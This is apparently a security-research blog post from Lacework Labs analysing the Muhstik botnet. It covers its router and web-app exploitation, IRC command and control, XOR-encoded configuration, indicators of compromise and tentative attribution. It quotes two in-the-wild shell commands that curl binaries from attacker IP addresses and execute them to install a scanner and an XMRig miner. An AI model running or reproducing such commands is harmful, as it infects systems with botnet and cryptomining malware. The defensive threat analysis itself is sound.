Meet Muhstik – IoT Botnet Infecting Cloud Servers

Chris Hall
Cloud Security Researcher, Lacework Labs

Cloud infrastructure is generally immune to IoT related threats however there are some exceptions – one of these is “Muhstik”. The Muhstik botnet has been around for a couple years now and is currently affecting the cloud by way of several web application exploits. The botnet is monetized via XMRig, cgmining and with DDoS attack services. This blog takes a look at related activity and explores Muhstik’s intrusion infrastructure and possible attribution.

Muhstik leverages IRC for its command and control and has consistently used the same infrastructure since its inception. The primary method of propagation for IoT devices is via home routers however there are multiple attempted exploits for Linux server propagation. Targeted routers include GPON home router, DD-WRT router, and the Tomato router. 

Web application exploits include those for Drupal, and Weblogic:

A typical attack will leverage several stages, the first is the payload which downloads the other components. The payload is named “pty” followed by a number which maps to the architecture.  Download URL examples:

• hxxp://159.89.156.190/.y/pty2
• hxxp://167.99.39.134/.x/pty3

Upon successful installation Mushtik will contact the IRC channel to receive commands. (For more details on the Muhstik protocol, refer to the write up by Subexsecure). Usually Muhstik will be instructed to download an XMRmrig miner and a scanning module. The scanning module is used for growing the botnet through targeting other Linux servers and home routers.

The following are example bash commands seen in the wild for installing the scanner and miner respectively:

sh -c export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;(ps aux | grep -v grep | grep knthread > /dev/null) || curl -o /tmp/baste http://128.199.251.119/.x/baste; chmod +x /tmp/baste; chmod 700 /tmp/baste; /tmp/baste &

sh -c export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;(curl –max-time 75 –retry 5 -O /tmp/xmra64 http://188.213.174.29/wp-content/themes/twentysixteen/xmra64; chmod +x /tmp/xmra64; /tmp/xmra64 -o 185.86.148.14:8081 -o 185.165.171.78:8081 -B) > /dev/null 2>&1 &

Both the Muhstik payload and scanning module encrypt their configurations using the Mirai source code which employs a single byte XOR of 0x22. The IRC hosts are observable in the decrypted configuration. The configurations very however all contain one or more of the following, along with their resolved IPs (IPs vary specimen to specimen depending on current resolution)

• irc.de-zahlung.eu
• irc.deutschland-zahlung.net
• irc.deutschland-zahlung.eu
• irc.shadow-mods.net

The XMRmrig miner was configured with xmr.shadow-mods.net which uses the same second level as the scanner reporting C2 and one of the payload IRC channels.

Example 1: Decrypted payload config:

Example 2: Decrypted Scanning module config:

File specimens with the Muhstik configs can be identified with the following sequence of bytes which is the XOR’d value of the “muhstik” keyword. Note: Several muhstik payloads are UPX packed so they this is only observable in unpacked binaries:

4F 57 4A 51 56 4B 49 0F

The decoded configuration for the Muhstik scanning module has common settings seen in many Mirai -based variants. These include

• Memory scraping settings. This functionality is used for killing competing malware. In this case there were parameters for the Zollard IoTIOT botnet:
  • “”””\x58\x4D\x4E\x4E\x43\x50\x46\x22 “zollard.

• An unused RickRoll : https://youtu.be/dQw4w9WgXcQ

Infrastructure & Attribution

Examination of Muhstik’s attack infrastructure exposed some interesting correlations. IRC C2 irc.de-zahlung.eu was found to be sharing an SSL cert with site jaygame.net. Jaygame.net is an amateur site about a game involving an Anime character named ‘Jay’. The site is currently leveraging Google Analytics ID UA-120919167-1.

A reverse Google Analytics search exposed 3 domains with records for the same ID:

• jaygame.net
• fflyy.su
• kei.su

Figure 1: Jaygame.net

The two other domains linked to the analytics ID (ffly.su and kei.su) were also configured as C2s for various other Linux Tsunami malware linked to the same infrastructure. If the infrastructure is administered by a single attacker then we can presume it’s related. 

Figure 2: Muhstik Infrastructure links

This related infrastructure has allowed possible attribution to what Lacework has dubbed “Wasp 8220”. This set of activity has been tied to other cryptomining variants and Linux backdoors . These all have links to the same malware upload path belonging to Chinese forensics firm Shen Zhou Wang Yun Information Technology Co., Ltd. The following are related Virus Total submission artifacts. In all cases, these were seen prior to attacks in the wild and prior to the infrastructure becoming operational. Also, the original specimens were only uploaded one-time suggesting Shen Zhou Wang Yun is likely the malware originator and not simply the first uploader. One of the uploads (.x_3sh) had zero detections and appears to be the first Muhstik downloader.

Figure 3: Original Muhstik installer script (uploaded by Shen Zhou Wang Yun Information Technology Co., Ltd)

Other characteristics of note in Muhstik malware and infrastructure were numerous references to Anime. The following table lists references observed in Muhstik activity:

Anime references are not unique to Muhstik however it was a common theme worth highlighting.  

For example in 2015, the “cereal” IoT botnet was also observed downloading Anime videos as part of an alleged hobby project . Also, .anime was a frequent process artifact in IoT malware variants and was targeted by Mirai’s memory scraping module. This is observable in the decoded config for the Muhstik scanner module. For IoTs botnets of Chinese origin, this would make sense due to the massive popularity of Anime in China.  

The Muhstik botnet has been using the same C2 domains for the last two years so the provided indicators will likely help with detecting any existing Muhstik infections. As far as prevention, we highly recommend regular scans for the vulnerabilities listed in table 1. 

If you’d like to learn more about how Lacework can automate host vulnerability scanning in the cloud, then please reach out!

Categories

• Research